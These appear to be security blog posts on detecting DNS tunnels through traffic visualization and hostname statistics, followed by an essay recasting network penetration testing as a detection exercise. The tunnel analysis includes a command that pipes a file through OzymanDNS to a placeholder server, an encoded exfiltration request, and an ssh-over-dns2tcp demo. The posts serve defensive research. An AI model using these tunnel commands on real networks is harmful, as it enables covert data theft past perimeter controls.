“The commonality between science and art is in trying to see profoundly – to develop strategies of seeing and showing.” — Edward Tufte

Shortcut:  check out the normal demo, the demo with DNS tunnel traffic, or just download the code and run it with your own captures.

As I wrote in a study of DNS, current tools don’t detect DNS tunnels.  After opening the post ranting about static signatures, I recommended alerting on any hostname request longer than 52 characters or with more than 27 characters. (ahem) It’s fair to call my recommendation a signature.

Static signatures are great at identifying an already-known attack.   A signature allows you to search immense data for specific details, but the precision provides little awareness of your network traffic in general.  By the measure of the tools they’ve provided, few in industry appreciate the value of context for decision making.

After completing the DNS traffic analysis, I was still unsatisified.  I studied the statistical outliers, but it was too hard to understand the nuances, too hard to put those outliers in context with the normal traffic.  My eyes were crossing studying lines of text, endlessly cut-ing, grep-ing, sort-ing and uniq-ing to manipulate the text.   meh.

Visualization

Using processing, I graphed 4 characteristics of each request and displayed them in a 2d x-y grid in real-time.

• x-axis: destination IP
• y-axis: character count
• radius: hostname length
• colour: request type

Areas with multiple requests increase in intensity and become white-hot as new types appear, so rate indirectly becomes a 5th characteristic.

[image - typical] [applet - typical]

Pictures are a poor representation of the live animation.  You should run the demo yourself. (The base32′ed TXT record request you’ll see was in the real capture.) The data is a sanitized sample of 1800 requests from the same dataset discussed before. While my data is academically interesting, I recommend analyzing your own.  Download the code and use your own captures.

I started analysis focused on DNS tunnel detection, so the demonstration is not complete until we see DNS tunnel traffic.  Using dns2tcp, I setup the DNS client/server, ssh’ed into my own machine over DNS and captured the result.

tranq:~ tranq$ ssh -p 2200 tranq@127.0.0.1
Password:
Last login: Sat Feb  7 12:53:01 2009 from localhost
tranq:~ tranq$ ls -laRtp
...^C

For a realistic view, I put the DNS tunnel traffic in context with the sample data from the applet above.  This is real DNS tunnel traffic in context with DNS traffic from a real network perimeter.

[image - tunnel] [applet - tunnel]

Thoughts…

I studied the same 97,000 requests for several weeks before graphing the results.  Even after weeks of study, I learned even more about the dataset in just a few minutes.

My graph layout went through several iterations.  Some good things about where I ended up:

• DNS request anomalies: Abnormal traffic stands out naturally, without any threshold or static values.   The DNS tunnel traffic is startlingly abnormal.  The base32′d TXT record requests to smupdate.net and the TXT record requests to mac.com are less so, but still stand out as unusual. Neither are suspicious,  but both are likely indications of a security policy violation.
• SRV records: The SRV records you see are not for the organization.  Those were answered by the internal DNS server and did not get forwarded.  Every SRV record collected is a laptop from another company’s domain.  Attaching a non-company laptop is aganist the company security policy, but it’s obviously happening.  In the course of the hour-long capture, there were SRV record requests for 4 other domains.
  
• Rate consolidation: If you refer to the hostname distribution analysis in a study of DNS, you will see the  huge spike of 5,000ish requests for myspace records on Limelight Network’s CDN.  Where they overwhelmed the distribution chart, they have been nicely consolidated in the graph around (65, 20) into a single bright greeen area.  If you hover over the point, you’ll see the hostnames under your cursor shoot off the screen.  I stripped out the sorbs and PTR lookups; they were equally nominal when put in context.
  
• Destination context: The heavily-populated strips coincide with servers located in North America, consistent with the organization’s clients.  While we have significant data occlusion in these areas, any activity in the the lesser-tracked corners of the Internet naturally stands out more.
  

The data representation is not perfect:

• Rate: The rate representation does not have much fidelity.  Two is distinguishable from one and ten is distinguishable from two, but two hundred is not distinguishable from ten.  In the case of the myspace/llwnd anomaly, this is perfect. But even though we’ve significantly lowered the noise floor, an attacker could still hide in the noise at the cost of exfil bandwidth.   This is mitigated by “flashing” new requests, but that technique only applies to real-time analysis.
  
• Window of analysis: In it’s current form, an analyst must watch the console at all times.  If the request data was maintained in persistent storage instead of temporarily stored in memory, someone could view arbitrary time windows.  The same visualization scales to represent thousands of requests without much visual clutter.
  
• Presumption of capture location:  by giving the destination IP such predominance, I’ve limited the location your collector can sit to outside your external DNS server.
  

If I were responsible for managing a network perimeter day-to-day, I would want something like this to monitor my DNS traffic.  Unfortunately, industry has shipped very few tools to get this kind of insight.  Admins:  ask industry for better traffic monitoring tools.  Be smart enough to use them and give good feedback. Vendors:  ignore the media-generated fear of day from the latest malware author to grab headlines and study the adversary.  Network security is not a boring support function, but a tactical engagement.   The ramifications of a tactical mindset are immense, and we need the industrial base to adopt it.

I appreciate criticisms, suggestions or screenshots of your own network traffic!

“I assume you all know the benefits of using a bastion host and filtering all other hosts out so people don’t tunnel data in UDP packets. Well, it’s not enough anymore.”
Oskar Pearson, 1998 on Bugtraq
[announcement]

That was ten years ago. Since then:

• Frodo & Sky, NSTX “Name Server Transport”, 2000: [docs] [earliest ref]
• Kaminsky, BlackHat 2004 on DNS tunnelling. [ppt slides] [source]
• Split DNS: Consistently referenced as the best practice for enterprise DNS deployment.
• Google for help finding DNS tunnels – Hit two: Software which has functionality to detect this is unfortunately in scarce supply. [ref]

The frustrating world of an enterprise network administrator

You have configured your network with split DNS. You have implemented “block all, allow by exception” at the firewall and have documented every exception. You use an authenticated web proxy and require authentication for each new HTTP session. Yet with no prior knowledge of your network and little complexity, an attacker can still tunnel arbitrary traffic through your perimeter when he gains execution.  (And we know arbitrary code execution is inevitable.)

Even with awesome funding and a rockstar team, there is little you can do short of blocking all external DNS for internal hosts. Neither industry nor academia has shipped the right tools to detect DNS protocol abuses. The only two reasonable recommendations are static signatures to detect public tunnel implementations or traffic analysis with Sguil to detectunusual transfer rates.

Analysis of Current Recommendations

Static signatures are necessary but insufficient.  At the static signatures link above, the first recommended signature alerts on 20 TXT records requests within 60 seconds. The second recommended signature alerts on the unique value NSTX puts in the DNS header. Unfortunately, DNS tunnels do not have to use TXT records – and  if they do use TXT records, they are certainly not required to make 20 TXT requests within 60 seconds. (with the implementations below, 19 requests/second would get about 2kBytes/second exfil and 9.5kBytes/second infil) Finally, they don’t have to include NSTX’s hardcoded value. Static signatures highlight gross offenses, but do not assume they make your network secure.

The Sguil analysis is better than static signatures, but is easily circumvented.  Bianco looks for “lopsided transfers,”  when the gross transfer rate (src_bytes / dst_bytes) is greater than a hardcoded ratio (2x, in his case) and the client-server pair has transferred at least 50k bytes in the previous 24 hours.  While the methodology does not limit analysis to TXT records,  there are still problems:

• It only examines a single client-server IP pair. DNS’s intrinsic redundancy/forwarding/recursion make IPs less important.  Regardless of where your IDS sits in the network hierarchy, two consecutive requests from the same client to the same domain name may not have the same source & destination IPs.
• The ratio is crucial to detection.  As Bianco notes, he looks only for DNS infil or DNS exfil.  If the amount of data transferred is roughly balanced between client and server, the ratio won’t break the threshold.  (i.e., if the attacker downloads 10 MB, he needs to upload between 5 and 20 MB to keep the ratio below the threshold)
• The ratio is too simple a measure for small transfers, so Bianco needed a safety net:  only client-server pairs with at least 50k transferred in the previous 24 hours.

It’s less brittle than a signature, but it still requires static thresholds.   Like the snort signatures, anything below the threshold is off your radar.

One final consideration:

“Writing signatures is kinda rookie”
Joanna Rutkowska, BlackHat 2006 
[pdf slides] [writeup]

Joanna was talking about rootkit detection, but the idea is the same.

DNS tunnels in practice

DNS revolves around reliability and forwarding. If a DNS server cannot answer a question, it asks the authoritative server. When an attacker controls both the client asking the question and the server providing the response he can transfer arbitrary data, but only within the bounds of the protocol specification.

As Bianco noted, DNS tunnel traffic can flow in three ways: data infil only, data exfil only, or full two-way communication.  The DNS server cannot initiate communication, it can only respond to requests from the client.  The response from a DNS server can be any one of a dozen different types (A, CNAME, TXT, MX, etc) and each of these is formatted differently.   But for all the diversity in the server’s response format, each response must correspond to a request and the requests can only be one format:  a hostname and the desired record type.

From RFC 1035, hostnames must meet the folllowing criteria:

• Allowed characters a-z, 0-9 and – (dash); this means a total of 26 + 10 + 1 or 37 characters
• Labels (between the .’s) of 63 characters or less
• Total size 255 characters (including ‘.’ label delimiters) or fewer

Data exfil and full comms require the client to encode outbound data in questions.  We can identify those abuses by analyzing only outbound hostname requests. This simplifies analysis significantly and leaves the uninspected space at data infil only. While data infil over DNS has potential benefits for an attacker, (refer to Blackhat 2008 talk on DNS Shellcode [pdf slides]) the danger relative to data exfil or two-way communications is significantly reduced.

Real-world DNS hostname request analysis

The folllowing analysis was completed on a packet capture from a small-ish corporate network perimeter with split DNS and 100s of hosts. In total, about 97,000 outbound DNS requests over an hour.

Based on the rationale above, I selected 3 characteristics of the hostname requests to analyze.

• Length of hostname
• Count of unique characters (suspecting base32′d text has a higher count than “normal” text)
• Request type (Allows 1-255; dozens of defined types, about ten ‘typical’ types)

Count of requests by length

The chart above shows the distribution of hostname lengths for all 97,000 recorded requests.  The x-axis only extends to 76, because that was the absolute maximum recorded value, despite the DNS RFC’s maximum of 255.  The spike between 31 and 39 results from traffic from the internal SMTP server:  for every SMTP session it uses the SORBS real-time blackhole list.  Each connection causes a request such as:

44.33.22.11.spam.dnsbl.sorbs.net.

The height of the spike is relative to the number of connections to the mail server during the capture; the width is due to IP address length variations.

The spike clustered around 26 are outgoing reverse lookups, of the format:

44.33.22.11.in-addr.arpa.

Again, the width of the spike is related to IP length variability.

The final spike around 25 is from 5,000 myspace.com A record requests of the form:

myspace-690.vo.llnwd.net.

During the capture, one or more hosts queried nearly every record from myspace-000 to myspace-999 and each request was sent to four nameservers.  I do not have an explanation for this anomaly; perhaps it’s a bug in some two-bit multimedia app streaming videos from Limelight Networks.

If we break out the RBL and reverse lookups, the resulting chart of hostname lengths is more reasonable.  Removing the 3 known oddities, hostname request lengths are roughly normally distributed around 18 characters.

Count of requests by major sub-type

The next chart is the count of characters per hostname request.  Any request exfil’ing arbitrary data must encode it into the 37 characters allowed by DNS.   Any encoding method will increase the entropy of a hostname request over normal lookups, unless the attacker sacrifices his encoding efficiency and thus his bandwidth.

Count of requests with given character count

The absolute maximum value recorded was 29, but counts taper off dramatically in the low 20s. The spike around 19 is also due to the SORBS RBL requests.

Internationalized Domain Names, the scheme to support unicode DNS names, will increase the character count and average lengths.  Relative to DNS tunnel implementations, the differences are minor.

Stats summary

• Length: overall average: 28.0 std dev: 7.9
• Character: overall average: 15.6 std dev: 3.6

Without the 3 oddities, lengths and character counts are roughly normally distributed. Statisticians will tell you to ignore the oddities and roll, quoting the Central Limit Theorem and Chebyshev’s Inequality as support.  With those considerations, we calculate the following upper thresholds:

• Length: 99.75% less than 28 + 3(7.9) = 52 characters
• Character count: 99.75% less than 15.6 + 3(3.6) = 27 characters

Real-world analysis of DNS tunnel traffic

The real question: how do the thresholds compare to the available DNS tunnels?  There are only three publicly-available DNS tunnel implementations: NSTX, OzymanDNS and dns2tcp. (I can’t find source for Pearson’s implementation. If you can put your hands on it, mail me.)

Ozyman

Kaminsky’s Ozyman implementation uses hostname requests for the outbound, and TXT records on the return. The format of the outbound requests is:

(data).(nonce)-(checksum).id-(sessid).up.(domain.com)

• data – base32′d data, up to 110 bytes before encoding, 176 after encoding.
• nonce – a safety check for DNS servers that do not respect TTLs
• checksum – checksum of the data blob; actually ununsed. Always zero.
• sessid – a session id for the server to keep track of clients.

To transfer the Ozyman DNS source tarball to the server at domain.com:

tranq$ cat ozymandns_src_0.1.tar.gz | ./droute.pl domain.com

Yields a request similar to:

mfzwwyjoobwaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaagaytambxgayaambq.
59534-0.id-40145.up.domain.com.

Length: 209
Char count: 27

176 bytes of base32 encoded data in the first three labels, 17 bytes of housekeeping, a 9 byte domain name and 7 label separators. This is a simplified description of his transport, but you get the idea.

NSTX

NSTX uses the same techniques. A review of the source details 3×63 byte labels max on hostname requests and TXT records on the return . Hostname lengths will be greater than 189 bytes under full load. NSTX uses a case-sensitive encoding, if the character count is case sensitive, they will greatly surpass DNS’s 37 case-insensitive character max.

dns2tcp

UPDATE: A reader brought my attention to dns2tcp, a third public DNS tunnel implementation by the (awesome) hsc.fr guys.  dns2tcp also uses base64, so character counts will be huge if your character counts are case-sensitive.   Hostname requests lengths are about 190 under full load, with TXT records on the return.

Conclusions

The two public DNS tunnel implementations destroy the length and character count thresholds.  Even simpler than Bianco’s src_bytes / dst_bytes ratio, analyzing only hostname requests is enough to detect NSTX and Ozyman DNS tunnel implementations.  While false positives will appear, visual inspection will immediately recognize encoded data.  The thresholds could be improved even further by a high-level categorization of request type.  In this case, we could have created 3 thresholds:

• Requests to the SORBS RBL
• Requests for reverse lookups
• All other requests

“All other requests” has significantly lower thresholds than the combination of all three categories.

Alternatively, thresholds could be set arbitrarily high. It is obscured by the volume, but there are hundreds of requests with lengths greater than 52 characters.  The false positive rate will be too high for many organizations.  There were no requests with length greater than 76 characters, but both DNS tunnel implementations have significantly higher request lengths.  A “sanity check” length threshold around 75 would provide some peace of mind.

The largest problem with outgoing hostname analysis is the toolchain.  The analysis requires an IDS parsing application-level data.  Some commercial IDSes parse application-level traffic and have alerts in place, but none of the IDSes I’m familiar with abstract it into a generic application-level signature engine.  A commercial vendor with an application-level-aware IDS could wrap request analysis into a built-in signature, but the thresholds will vary for each organization.  The arbitrary threshold a vendor configures will be the lowest common denominator of all organizations.   I want the ability to write a signature such as:

length(dns.request.hostname) > 52 and
(not "sorbs" in dns.request.hostname) and
(not "in-addr.arpa" in dns.request.hostname)

..and apply it to all DNS traffic, then tweak the logic as I more deeply understand my perimeter’s traffic.  Alas, all I usually get is a clumsy web GUI and a few checkboxes.

Vendors: make your products flexible and smarter than your average customer. Those with the desire and capability will pay whatever you ask.

Colleagues: how universal are these thresholds?  I have code to parse pcaps and output these statistics.  Email me and I’ll send them to you.  Send me your statistics and I’ll post them all in a single place.  Post it on your own blog and I’ll link to it.

It is ironic I start this post ranting against static thresholds and then end it by suggesting one.  Stay tuned; I have an answer to this disparity in development!
– tranq

Penetration Testing: Dead in 2009
Bill Brenner, paraphrasing Brian Chess, CSO Online, 8 Dec 08

Brian Chess stirred things up last month by declaring pen testing dead in 2009.  Ivan Acre wrote a response, also for CSO Online: “Twelve Reasons Pen Testing Won’t Die.”   Matasano declared the statement irrelevant: “[pen testing] is synonymous with security assessments…most of my customers use these words interchangeably, and they are some of the most sophisticated purchasers of security.”  Eduardo dicho la misma.   

The whole affair is silly.  Everyone is using the same words, but not talking about the same thing.  It highlights the immaturity of our industry:  we don’t have consistent terminology, much less a common  framework to clarify issues.

Inconsistent terminology makes drama

Each of these posts used “penetration test” differently:

• network vulnerability assessment – a comprehensive network scan to identify vulnerabilities in all network-facing applications
• application penetration test - a comprehensive application review to identify vulnerabilities in one network-facing application
• network penetration test - an attempt to exploit vulnerabilities to gain illegitimate access

As the folks over at SecurityCurve note, the Payment Card Industry Data Security Standard’s requirement 11.3 dictates both a network pen test and an application pen test each year.   Requirement 11.2 dictates a network vulnerability assessment.  SecurityCurve uses the standards to support their position pen testing isn’t going anywhere soon; I’ll use it to reinforce the terminology distinction.

An application penetration test is part of software development.  The release schedule should provide ample time for review after code freeze.  The process should be an orderly progression of iteratively fewer changes.  Network vulnerability assessments and network penetration tests are part of network operations.  The only place the pieces come together is on the live network.  Smart admins and good configuration control make the process as orderly as possible, but network disorder increases with the number of network clients.

Brenner’s article was sloppy.  He characterized Chess’s definition of penetration testing as “the art of probing company networks in search of exploitable security holes that can then be fixed.”    This clearly refers to network penetration testing, but the rest of the article mixed quotes about network penetration tests (Jabbusch) and application penetration tests (Caceres, Riggins).  It’s pretty easy to fabricate drama when you’re asking your sources two different questions.  Did I mention our community needs an common framework?

Chess intended to discuss application penetration testing, obvious since Chess runs a company specializing in source code analysis.  For software development, Microsoft’s SDL is arguably the industry’s exemplar — including application pen testing immediately prior to release.  There’s no real contender for the industry’s network operations equivalent.  I can’t fill that role, but I’ll continue this pen testing conversation.

Network penetration testing:  please die in 2009

I’ll be as clear as I can be:  network penetration testing needs to die in 2009.

Four days before Chess’s “Pen testing will die,” Jack at Uncommon Sense Security wrote:

Come on, there are really only two possible outcomes to a penetration test:
ONE: You confirm something you already know, that you are vulnerable to a sufficiently skilled and determined attacker.
TWO: The Penetration Tester you hired isn’t good enough.
Uncommon Sense Security, The Fallacy of Penetration Testing, 4 Dec 08

A network pen test typically asks one question:  can someone get in?  I’ll save you the cost of those consultants and answer: yes.   If you’re looking for a binary answer and pay anything to get it, it is too much.   Here’s one crucial point:  in the real world, the bad guy comes after your network at the time and place of his choosing. It’s an easy equation:  (1) he documents your network-facing services, (2) waits until a matching vulnerability is published, (3) exploits it before you patch it.  As soon as you limit pen testers to an artificial time window, you remove a crucial attacker advantage.

Attacker advantages don’t stop at time.  Even if you minimize risk to patch cycle exploitation, there’s still inadvertent user actions on your network: through email, web, returning laptops or even USB drives in the bathroom.  Even if your user training is top-notch, there’s still physical access: through wireless, network endpoints in a retail store, etc.   As the value of your data increases, the likelihood of a trusted user being coerced to assist also increases.  The attack vectors are too numerous; networks do not have nicely fenced perimeters with a single exit gate at the firewall.   As long as your threat models assume so, you’re no better off than the French and their ill-fated Maginot Line.  The constancy of ankle-biter malware on your network should be evidence enough.  Arbitrary code execution is inevitable.

You do not need a pen test to test the effectiveness of your network protection measures, you need a pen test to exercise your detection and response measures.

Network security is equal parts protection, detection and response.  Protection is the first line of defense, but when protections are insufficient, you must be able to detect the attacker and initiate appropriate response actions.   Protection is critical, but you can not stop a patient and resourceful attacker. When he lands inside your network, what’s your level of confidence your systems will detect his presence?  Sure, if he uses a cleartext command shell, Snort will trigger.  Sure, if the same code/servers/domains are used in 10 bajillion other places, your enterprise antivirus will quarantine the binaries.    But if his network traffic is SSL and his binaries use a custom packer to evade AV signature?

I’ll save you cost of the consultants again:  you won’t detect him.

Pen testing: a detection and response exercise

Admittedly, the realities are more complicated.  Your tools are more diverse and attackers are sloppy, leaving ample traces to detect.  Here’s the $64,000 question:  when your security guy sits at his console Monday morning — cup of coffee in hand, slightly hungover from watching rugby at the pub the night before — will he recognize the signs?  Or will he just scowl, grumble and move on?   Pen testing should be a detection and response exercise. Not only do we have real technical problems in our detection tools, but your admins have to be constantly alert for any evidence of unusual activity.  It’s hard.  (That’s why the US military uses FPCONs – and recently added INFOCONs)

Ask this of a pen testing consultant and he will pander to you. (“yep, we’ll do that!”) Then most will turn and run nessus or some other automated vulnerability scanner.   They’re cheating you and your admins of a real threat emulation.  You’re left with no idea how your organization will detect or respond in a realistic scenario.   And it pisses your admins off, because when the pen testers can’t find some low-hanging-fruit-stupid-mistake on your perimeter, they “assume access” and proceed to pillage your internal network.  The whole affair becomes counterproductive.

We can’t just retrofit typical pen tests, as the ninnys are sure to suggest.   It’s evident in the terminology itself.  The connotations are entirely misplaced:  a pass/fail attempt (test) to gain unauthorized access (penetration).  The term is adversarial, and not in a good way.   Calling it something more like an intrusion detection exercise will more closely align connotations with the need.   An exercise is still adversarial, but in a better way.

Continuing to test our protections and hope for 100% is futile.  By doing so we sacrifice resources we should be devoting to detection and response.   Don’t try so hard to stop attackers, but expect and plan for  a certain amount to succeed.  Use the resources you save to make sure you know they’re there.